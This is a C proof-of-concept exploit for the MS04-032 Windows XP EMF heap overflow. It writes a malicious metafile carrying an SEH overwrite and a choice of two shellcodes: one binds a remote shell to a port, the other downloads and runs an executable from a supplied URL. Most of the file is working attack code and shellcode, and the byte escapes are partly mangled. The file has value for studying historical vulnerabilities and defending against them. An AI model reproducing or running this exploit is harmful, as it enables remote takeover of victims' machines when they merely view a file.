/* HOD-ms04032-emf-expl2.c: 
 * 
 * (MS04-032) Microsoft Windows XP Metafile (.emf) Heap Overflow 
 * 
 * Exploit version 0.2 (PUBLIC) coded by 
 * 
 * 
 *                 .::[ houseofdabus ]::. 
 * 
 * 
 * [at inbox dot ru] 
 * ------------------------------------------------------------------- 
 * About WMF/EMF: 
 * Windows Metafile (WMF) and Enhanced Windows Metafile (EMF) formats 
 * are vector files that can contain a raster image... 
 * 
 * ------------------------------------------------------------------- 
 * The vulnerability will be triggered by either viewing a malicious 
 * file or by navigating to a directory, which contains a malicious 
 * file and displays it as a thumbnail. 
 * 
 * Graphics Rendering Engine Vulnerability - CAN-2004-0209 
 * ------------------------------------------------------------------- 
 * Tested on: 
 *    - Internet Explorer 6.0 (SP1) (iexplore.exe) 
 *    - Explorer (explorer.exe) 
 *    - Windows XP SP1 
 * 
 * ------------------------------------------------------------------- 
 * Compile: 
 *    Win32/VC++  : cl HOD-ms04032-emf-expl.c 
 *    Win32/cygwin: gcc HOD-ms04032-emf-expl.c -lws2_32.lib 
 *    Linux       : gcc -o HOD-ms04032-emf-expl HOD-ms04032-emf-expl.c 
 * 
 * ------------------------------------------------------------------- 
 * Command Line Parameters/Arguments: 
 * 
 *   HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP] 
 * 
 *   Shellcode: 
 *        1 - Portbind shellcode 
 *        2 - Connectback shellcode 
 * 
 * ------------------------------------------------------------------- 
 * Examples: 
 * 
 * C:>HOD-ms04032-emf-expl.exe expl.emf 1 7777 
 * 
 * C:>HOD-ms04032-emf-expl.exe expl.emf 2 http://host/file.exe 
 * 
 * ------------------------------------------------------------------- 
 * 
 *   This is provided as proof-of-concept code only for educational 
 *   purposes and testing by authorized individuals with permission to 
 *   do so. 
 * 
 */ 
 
 
/* #define _WIN32 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#ifdef _WIN32 
#pragma comment(lib,"ws2_32") 
#include <winsock2.h> 
 
#else 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#endif 
 
#include <windows.h> 
 
 
unsigned char emfheader[] =  
"x01x00x00x00x40x00x00x00x00x00x00x00x00x00x00x00" 
"x20x00x00x00x20x00x00x00x00x00x00x00x00x00x00x00" 
"x4cx03x00x00x4cx03x00x00x20x45x4dx46x00x00x01x00" 
"x40x00x00x00x0bx00x00x00x0ax00x00x00xffxffx00x00" 
 
"xEBx12x90x90x90x90x90x90" 
"x9ex5cx05x78"	/* call [edi+0x74h] - rpcrt4.dll */ 
"xb4x73xedx77";	/* Top SEH          - XP SP1 */ 
 
 
unsigned char portbind_sc[] = 
"x90x90x90x90x90x90x90x90" 
 
"xebx03x5dxebx05xe8xf8xff" 
"xffxffx8bxc5x83xc0x11x33xc9x66xb9xc9x01x80x30x88" 
"x40xe2xfaxddx03x64x03x7cx09x64x08x88x88x88x60xc4" 
"x89x88x88x01xcex74x77xfex74xe0x06xc6x86x64x60xd9" 
"x89x88x88x01xcex4exe0xbbxbax88x88xe0xffxfbxbaxd7" 
"xdcx77xdex4ex01xcex70x77xfex74xe0x25x51x8dx46x60" 
"xb8x89x88x88x01xcex5ax77xfex74xe0xfax76x3bx9ex60" 
"xa8x89x88x88x01xcex46x77xfex74xe0x67x46x68xe8x60" 
"x98x89x88x88x01xcex42x77xfex70xe0x43x65x74xb3x60" 
"x88x89x88x88x01xcex7cx77xfex70xe0x51x81x7dx25x60" 
"x78x88x88x88x01xcex78x77xfex70xe0x2cx92xf8x4fx60" 
"x68x88x88x88x01xcex64x77xfex70xe0x2cx25xa6x61x60" 
"x58x88x88x88x01xcex60x77xfex70xe0x6dxc1x0exc1x60" 
"x48x88x88x88x01xcex6ax77xfex70xe0x6fxf1x4exf1x60" 
"x38x88x88x88x01xcex5exbbx77x09x64x7cx89x88x88xdc" 
"xe0x89x89x88x88x77xdex7cxd8xd8xd8xd8xc8xd8xc8xd8" 
"x77xdex78x03x50xdfxdfxe0x8ax88xABx6Fx03x44xe2x9e" 
"xd9xdbx77xdex64xdfxdbx77xdex60xbbx77xdfxd9xdbx77" 
"xdex6ax03x58x01xcex36xe0xebxe5xecx88x01xeex4ax0b" 
"x4cx24x05xb4xacxbbx48xbbx41x08x49x9dx23x6ax75x4e" 
"xccxacx98xccx76xccxacxb5x01xdcxacxc0x01xdcxacxc4" 
"x01xdcxacxd8x05xccxacx98xdcxd8xd9xd9xd9xc9xd9xc1" 
"xd9xd9x77xfex4axd9x77xdex46x03x44xe2x77x77xb9x77" 
"xdex5ax03x40x77xfex36x77xdex5ex63x16x77xdex9cxde" 
"xecx29xb8x88x88x88x03xc8x84x03xf8x94x25x03xc8x80" 
"xd6x4ax8cx88xdbxddxdexdfx03xe4xacx90x03xcdxb4x03" 
"xdcx8dxf0x8bx5dx03xc2x90x03xd2xa8x8bx55x6bxbaxc1" 
"x03xbcx03x8bx7dxbbx77x74xbbx48x24xb2x4cxfcx8fx49" 
"x47x85x8bx70x63x7axb3xf4xacx9cxfdx69x03xd2xacx8b" 
"x55xeex03x84xc3x03xd2x94x8bx55x03x8cx03x8bx4dx63" 
"x8axbbx48x03x5dxd7xd6xd5xd3x4ax8cx88"; 
 
 
unsigned char download_sc[]= 
"x90x90x90x90x90x90x90x90" 
 
"xEBx0Fx58x80x30x17x40x81x38x6Dx30x30x21x75xF4" 
"xEBx05xE8xECxFFxFFxFFxFEx94x16x17x17x4Ax42x26" 
"xCCx73x9Cx14x57x84x9Cx54xE8x57x62xEEx9Cx44x14" 
"x71x26xC5x71xAFx17x07x71x96x2Dx5Ax4Dx63x10x3E" 
"xD5xFExE5xE8xE8xE8x9ExC4x9Cx6Dx2Bx16xC0x14x48" 
"x6Fx9Cx5Cx0Fx9Cx64x37x9Cx6Cx33x16xC1x16xC0xEB" 
"xBAx16xC7x81x90xEAx46x26xDEx97xD6x18xE4xB1x65" 
"x1Dx81x4Ex90xEAx63x05x50x50xF5xF1xA9x18x17x17" 
"x17x3ExD9x3ExE0xFExFFxE8xE8xE8x26xD7x71x9Cx10" 
"xD6xF7x15x9Cx64x0Bx16xC1x16xD1xBAx16xC7x9ExD1" 
"x9ExC0x4Ax9Ax92xB7x17x17x17x57x97x2Fx16x62xED" 
"xD1x17x17x9Ax92x0Bx17x17x17x47x40xE8xC1x7Fx13" 
"x17x17x17x7Fx17x07x17x17x7Fx68x81x8Fx17x7Fx17" 
"x17x17x17xE8xC7x9Ex92x9Ax17x17x17x9Ax92x18x17" 
"x17x17x47x40xE8xC1x40x9Ax9Ax42x17x17x17x46xE8" 
"xC7x9ExD0x9Ax92x4Ax17x17x17x47x40xE8xC1x26xDE" 
"x46x46x46x46x46xE8xC7x9ExD4x9Ax92x7Cx17x17x17" 
"x47x40xE8xC1x26xDEx46x46x46x46x9Ax82xB6x17x17" 
"x17x45x44xE8xC7x9ExD4x9Ax92x6Bx17x17x17x47x40" 
"xE8xC1x9Ax9Ax86x17x17x17x46x7Fx68x81x8Fx17xE8" 
"xA2x9Ax17x17x17x44xE8xC7x48x9Ax92x3Ex17x17x17" 
"x47x40xE8xC1x7Fx17x17x17x17x9Ax8Ax82x17x17x17" 
"x44xE8xC7x9ExD4x9Ax92x26x17x17x17x47x40xE8xC1" 
"xE8xA2x86x17x17x17xE8xA2x9Ax17x17x17x44xE8xC7" 
"x9Ax92x2Ex17x17x17x47x40xE8xC1x44xE8xC7x9Ax92" 
"x56x17x17x17x47x40xE8xC1x7Fx12x17x17x17x9Ax9A" 
"x82x17x17x17x46xE8xC7x9Ax92x5Ex17x17x17x47x40" 
"xE8xC1x7Fx17x17x17x17xE8xC7xFFx6FxE9xE8xE8x50" 
"x72x63x47x65x78x74x56x73x73x65x72x64x64x17x5B" 
"x78x76x73x5Bx7Ex75x65x76x65x6Ex56x17x41x7Ex65" 
"x63x62x76x7Bx56x7Bx7Bx78x74x17x48x7Bx74x65x72" 
"x76x63x17x48x7Bx60x65x7Ex63x72x17x48x7Bx74x7B" 
"x78x64x72x17x40x7Ex79x52x6Fx72x74x17x52x6Fx7E" 
"x63x47x65x78x74x72x64x64x17x40x7Ex79x5Ex79x72" 
"x63x17x5Ex79x63x72x65x79x72x63x58x67x72x79x56" 
"x17x5Ex79x63x72x65x79x72x63x58x67x72x79x42x65" 
"x7Bx56x17x5Ex79x63x72x65x79x72x63x45x72x76x73" 
"x51x7Ex7Bx72x17x17x17x17x17x17x17x17x17x7Ax27" 
"x27x39x72x6Fx72x17""HOD""x21"; 
 
unsigned char endoffile[] = "x00x00x00x00"; 
 
 
void 
usage(char *prog) 
{ 
	printf("Usage:n"); 
	printf("%s <file> <shellcode> <bindport / url>n", prog); 
	printf("nShellcode:n"); 
	printf("      1 - Portbind shellcoden"); 
	printf("      2 - Download & exec shellcodenn"); 
	exit(0); 
} 
 
 
int 
main(int argc, char **argv) 
{ 
	char endofurl = 'x01'; 
	unsigned short port; 
	int sc; 
	FILE *fp; 
 
	printf("n(MS04-032) Microsoft Windows XP Metafile 
(.emf) Heap Overflownn"); 
	printf("--- Coded by .::[ houseofdabus ]::. ---nn"); 
 
	if (argc < 4) usage(argv[0]); 
 
	sc = atoi(argv[2]); 
	if ((sc > 2) || (sc < 1)) usage(argv[0]); 
 
	fp = fopen(argv[1], "wb"); 
	if (fp == NULL) { 
		printf("[-] error: can't create file: %sn", argv[1]); 
		exit(0); 
	} 
 
	/* header */ 
	fwrite(emfheader, 1, sizeof(emfheader)-1, fp); 
 
	printf("[*] Shellcode: "); 
	if (sc == 1) { 
		port = atoi(argv[3]); 
		printf("Portbind, port = %un", port); 
		port = htons(port^(unsigned short)0x8888); 
		memcpy(portbind_sc+266, &port, 2); 
		fwrite(portbind_sc, 1, sizeof(portbind_sc)-1, fp); 
		fwrite(endoffile, 1, 4, fp); 
	} 
	else { 
		printf("Download & exec, url = %sn", argv[3]); 
		fwrite(download_sc, 1, sizeof(download_sc)-1, 
fp); 
		fwrite(argv[3], 1, strlen(argv[3]), fp); 
		fwrite(&endofurl, 1, 1, fp); 
		fwrite(endoffile, 1, 4, fp); 
	} 
 
	printf("[+] Okn"); 
	fclose(fp); 
 
return 0; 
} 

// www.Syue.com [2004-10-20]